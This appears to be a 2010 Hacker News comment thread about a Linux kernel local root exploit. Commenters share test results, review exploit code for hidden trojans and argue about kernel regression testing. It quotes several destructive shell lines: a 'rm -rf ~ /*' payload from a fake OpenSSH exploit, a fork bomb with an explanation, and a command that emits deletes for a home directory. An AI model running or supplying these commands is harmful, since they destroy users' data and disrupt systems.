News for hackers. Stuff that matters.
Re:Hole in Linux kernel provides root rights by jacquesm on Sunday September 19, 2010 @08:00PM (#1707275)
Strike one for regression testing.

I tried the exploit on all our 64 bit boxes and it seems to fail on every one of them.

Here are the uname -a strings from a representative sample:

Linux c01_04.ttc.com 2.6.17.11 #3 SMP Wed Oct 10 06:16:52 EDT 2007 x86_64 GNU/Linux

Linux root-desktop 2.6.31-16-generic #53-Ubuntu SMP Tue Dec 8 04:02:15 UTC 2009 x86_64 GNU/Linux

Linux eleven.ttc.com 2.6.15 #2 SMP Thu Mar 9 09:06:54 EST 2006 x86_64 GNU/Linux

Linux backup01.ttc.com 2.6.25-14.fc9.x86_64 #1 SMP Thu May 1 06:06:21 EDT 2008 x86_64 x86_64 x86_64 GNU/Linux

On the last one it exits with 'symbol table not available, aborting!'.

Off-topic, how many of you actually review a program like this before running it?

Re:Hole in Linux kernel provides root rights by viraptor on Sunday September 19, 2010 @08:13PM (#1707294)
I try to. Most of the time if you see a #define that is not a simple constant in an exploit, it should be at least preprocessed... There are a lot of "ssh exploits" that are really `rm -rf /` wrappers with some interesting preprocessor abuse.
Re:Hole in Linux kernel provides root rights by jacquesm on Sunday September 19, 2010 @08:21PM (#1707310)
That's what I do, I run it through cpp first and read the code from where the include files end, just to make sure someone isn't social engineering me into doing something stupid.

In case anybody wants to read the code preprocessed it's here:

http://ww.com/robert_you_suck.txt

Now of course you have to assume I'm telling you the truth, but that's easy enough to verify.

Paranoia has no limits ;)

Re:Hole in Linux kernel provides root rights by viraptor on Sunday September 19, 2010 @08:33PM (#1707333)
My faviourite is probably the last openssh 0day "exploit": http://antihackerlink.or.id/0day-for-openssh-0pen0wn-is-spre...

See what happens with the "fremote(jmpcode)" function in 'main()'.

Re:Hole in Linux kernel provides root rights by jacquesm on Sunday September 19, 2010 @08:37PM (#1707340)
nasty:

rm -rf ~ /* 2> /dev/null &;

Re:Hole in Linux kernel provides root rights by nodata on Monday September 20, 2010 @04:54AM (#1708238)
> I run it through cpp first

Any particular switches you use?

Re:Hole in Linux kernel provides root rights by jacquesm on Monday September 20, 2010 @08:02AM (#1708472)
No, just cpp file.c > out.txt
Re:Hole in Linux kernel provides root rights by jrockway on Monday September 20, 2010 @06:22AM (#1708326)
In this case, an evil system administrator could change the text of /proc/kallsyms (probably via a hacked libc and LD_PRELOAD, or just the hacked libc) and then execute arbitrary code as you, because the exploit code uses an unchecked write into a stack variable (and who compiles their exploit code with a stack protector).

I am almost tempted to do this, use the exploit to get root on my work machines, and then replace the libc... just to see if anyone else tries the exploit. (Note to the literal: not really.)

execv("/bin/sh -c 'for i in `find $HOME`; do echo "rm -f $i"; done', 0);

Re:Hole in Linux kernel provides root rights by jacquesm on Monday September 20, 2010 @08:00AM (#1708467)
Hehe, that's a funny way to reverse an attack.

I don't think that sysadmin would qualify as 'evil' though.

It'd be even more fun if they had gotten to it before you and you ended up wiping your own files like that ;)

Re:Hole in Linux kernel provides root rights by X-Istence on Sunday September 19, 2010 @10:10PM (#1707487)
Which exploit are you running? The one that was posted on full disclosure: http://seclists.org/fulldisclosure/2010/Sep/268 includes bypasses for selinunx, and used to include code to bypass grsec.
Re:Hole in Linux kernel provides root rights by leif on Sunday September 19, 2010 @08:29PM (#1707325)
I usually review but don't run it....
Re:Hole in Linux kernel provides root rights by jacquesm on Sunday September 19, 2010 @08:31PM (#1707331)
:(){ :|:& };:

Tempting though, isn't it ?

Re:Hole in Linux kernel provides root rights by leif on Sunday September 19, 2010 @10:53PM (#1707570)
That's not a problem to read, and it's really easy to recognize since everyone's been sent it at some point in their life.

For those having trouble:

    bomb() {
      bomb | bomb &  # spawns two subprocesses, each running bomb
                     # on one end of a pipe, neither will die
                     # so long as the other exists
    }
    bomb             # kick off the bomb
Re:Hole in Linux kernel provides root rights by X-Istence on Sunday September 19, 2010 @10:06PM (#1707481)
On any system with sane defaults for limits this won't crash the machine merely bog it down a tad.

I've successfully ran it on FreeBSD machines without any issues, now on Linux or Mac OS X it is bad news :P

Re:Hole in Linux kernel provides root rights by 1amzave on Monday September 20, 2010 @03:16AM (#1708096)
Hm? Though on Linux I'm sure it varies from distro to distro, my Fedora 10 box has ulimit -u at 1024, and my OSX 10.6 install has it at 266 (2^8 + 10? Wonder how they decided on that number).

(And yes, I tried forkbombing them for the hell of it, both systems took it entirely in stride, as would be expected.)

Does anyone know of any current distros that don't set a sensible process limit in the default install?

Re:Hole in Linux kernel provides root rights by avar on Monday September 20, 2010 @10:15AM (#1708866)
On both Debian and Ubuntu `ulimit -u` returns `unlimited` for me.
Re:Hole in Linux kernel provides root rights by jsean on Sunday September 19, 2010 @07:08PM (#1707178)
How come Robert sucks?

edit: ok, if you didn't notice source's filename; http://sota.gen.nz/compat2/robert_you_suck.c

And just in case... also ;)

Re:Hole in Linux kernel provides root rights by blasdel on Sunday September 19, 2010 @08:22PM (#1707312)
There's a tradition of ridiculous file names for these things, like jessica_biel_naked_in_my_bed.c
Re:Hole in Linux kernel provides root rights by viraptor on Sunday September 19, 2010 @08:38PM (#1707341)
Both file names and nicks really - Przemysław Frasunek listed in the code is (was?) also known as "babcia padlina" (grandma carrion)
Re:Hole in Linux kernel provides root rights by jacquesm on Sunday September 19, 2010 @08:45PM (#1707354)
Dobrze rozumiec :)
Re:Hole in Linux kernel provides root rights by psiconaut on Sunday September 19, 2010 @07:44PM (#1707246)
ea = [robert, tavis, ben]; assert uploader in ea[1:] :p

Somewhere in the kernel, 2008: "hey, what are these lines for? nah, we are safe removing them..."

edit: robert is the author of the original exploit, that resurfaced when ben found the patch had gone from kernel.

Re:Hole in Linux kernel provides root rights by leif on Sunday September 19, 2010 @08:27PM (#1707322)
From that file, this guy http://swiecki.net/index.html is mentioned a few times in the comments, I'd guess it's him (perhaps this is what the other reply to this thread meant).
Re:Hole in Linux kernel provides root rights by rbanffy on Sunday September 19, 2010 @09:12PM (#1707397)
Anyone would like to explain why stuff like this is not automatically tested? Introducing tests into the kernel source tree would actually help its development and prevent incidents like this, wouldn't it?
Re:Hole in Linux kernel provides root rights by mfukar on Monday September 20, 2010 @02:46AM (#1708035)
How would you go about testing system calls?
Re:Hole in Linux kernel provides root rights by rbanffy on Monday September 20, 2010 @09:47AM (#1708757)
Why not?

I understand device drivers cannot be easily tested (unless we write accurate hardware simulators, which can be done with a lot of effort), and the same happens with time-critical stuff (that could be solved with even more hardware emulation) but this kind of stuff (checking if a known exploit fails) could and should be tested in automated fashion.

Not everything can be tested reliably and automatically, but what can, should.

Re:Hole in Linux kernel provides root rights by mfukar on Monday September 20, 2010 @11:41AM (#1709209)
Oh, you're talking about regression testing. While you have a point, I'd like to point out a recent vulnerability [1] that would likely fail many a test for two reasons:

- The bug is not concrete. It's not entirely in the kernel, and it's not entirely in userspace.

- The developers have a poor understanding of the bug. The current "fix" only mitigates the problem. There are system configurations where it can still be exploited. There are other issues [2] that arise from large address space management that are waiting to be fixed because of this.

But I agree that regression testing for the whole kernel tree should probably be implemented. (for the various subsystems, many developers develop their own test suites)

[1] http://theinvisiblethings.blogspot.com/2010/08/skeletons-hid... [2] http://grsecurity.net/~spender/64bit_dos.c

Re:Hole in Linux kernel provides root rights by RexRollman on Monday September 20, 2010 @06:13AM (#1708315)
It's open source. We are all testers.
Re:Hole in Linux kernel provides root rights by rbanffy on Monday September 20, 2010 @09:48AM (#1708759)
That's not an excuse for not having proper automated tests in place.
Re:Hole in Linux kernel provides root rights by jrockway on Sunday September 19, 2010 @11:01PM (#1707589)
Incidentally, there are several buffer overflow errors in the exploit code.
Re:Hole in Linux kernel provides root rights by amackera on Monday September 20, 2010 @12:53PM (#1709490)
Exploits for the exploits?
Re:Hole in Linux kernel provides root rights by bustamove on Sunday September 19, 2010 @05:11PM (#1706961)
just tried the exploit on my slicehost box and it successfully root it!
Re:Hole in Linux kernel provides root rights by bustamove on Sunday September 19, 2010 @05:13PM (#1706968)
~# uname -a Linux slice 2.6.32.12-rscloud #26 SMP Mon May 17 12:35:34 UTC 2010 x86_64 GNU/Linux